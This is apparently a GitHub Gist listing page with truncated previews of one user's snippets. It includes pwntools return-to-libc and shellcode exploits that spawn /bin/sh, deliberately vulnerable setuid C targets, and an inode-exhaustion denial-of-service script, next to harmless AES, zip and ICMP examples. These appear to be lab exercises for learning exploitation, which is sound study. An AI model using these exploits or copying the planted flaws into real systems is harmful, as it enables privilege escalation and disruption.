Skip to content

Instantly share code, notes, and snippets.

@shankaraman
shankaraman / aes.py
Created December 22, 2015 23:59
[ENC] Minor Project
from Crypto.Cipher import AES
import base64
# Encryption
KEY = 'A'*16
IV = '1'*16
encryption_suite = AES.new(KEY, AES.MODE_CBC, IV)
cipher_text = encryption_suite.encrypt("GOODGOODGOODGOOD")
encoded = base64.b64encode(cipher_text)
with open('base64.txt','w') as f:
@shankaraman
shankaraman / compress.java
Created December 22, 2015 23:57
[ZIP] Minor Project
import java.io.*;
import java.util.zip.*;
public class compress
{
public static void main(String [] args)
{
byte[] buffer = new byte[1024];
try{
FileOutputStream fos = new FileOutputStream("mellon.zip");
@shankaraman
shankaraman / icmp.c
Created December 22, 2015 23:55
[ICMP] Minor Project
#include <stdio.h>
#include <stdlib.h>
#include <libnet.h>
#include <stdint.h>
int main() {
libnet_t *l; /* libnet context */
char errbuf[LIBNET_ERRBUF_SIZE], ip_addr_str[16], *payload;
u_int32_t ip_addr;
@shankaraman
shankaraman / retlibc.py
Last active August 29, 2015 14:22
Return to libc - Binjitsu
from pwn import *
p = process('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
junk = 'A'*520
libc_sys = 0xb7e63170
retrn = 0xdeadbeef
shell = 0xbffffd5f
payload = junk+p32(libc_sys)+p32(retrn)+p32(shell)
print payload
p.send(payload)
@shankaraman
shankaraman / vuln_test.c
Created June 12, 2015 13:09
Testing Binjitsu with Return to libc
/*
* Compile the binary as root
* $ chmod +s vuln
*/
#include<stdio.h>
#include<unistd.h>
void c();
void c(char *arg)
{
@shankaraman
shankaraman / exploit.py
Last active August 29, 2015 14:22
Exploit using Binjitsu
from pwn import *
p = process('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
data = p.recvline().strip()
fn_b_addr = int(data.split(":")[1], 16)
#print hex(fn_b_addr)
data = p.recvline().strip()
buffer_addr = int(data.split(":")[1], 16)
print hex(buffer_addr)
payload = "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"
@shankaraman
shankaraman / vuln.c
Last active August 29, 2015 14:22
Vulnerable Program
#include<stdio.h>
#include<unistd.h>
void a();
void b();
void c();
void a()
{
char *dummy[] = {NULL,"dummy"};
@shankaraman
shankaraman / inode_exhaust.py
Last active January 12, 2016 12:40
Inode Exhaustion
import os
# Sorry this is a very lame code
lst = []
data = os.popen('df -i').readlines()
data = data[1].split(' ')
for i in data:
if i != '':
lst.append(i)
exhaust_count = int(lst[3])
print "Total free inodes:",exhaust_count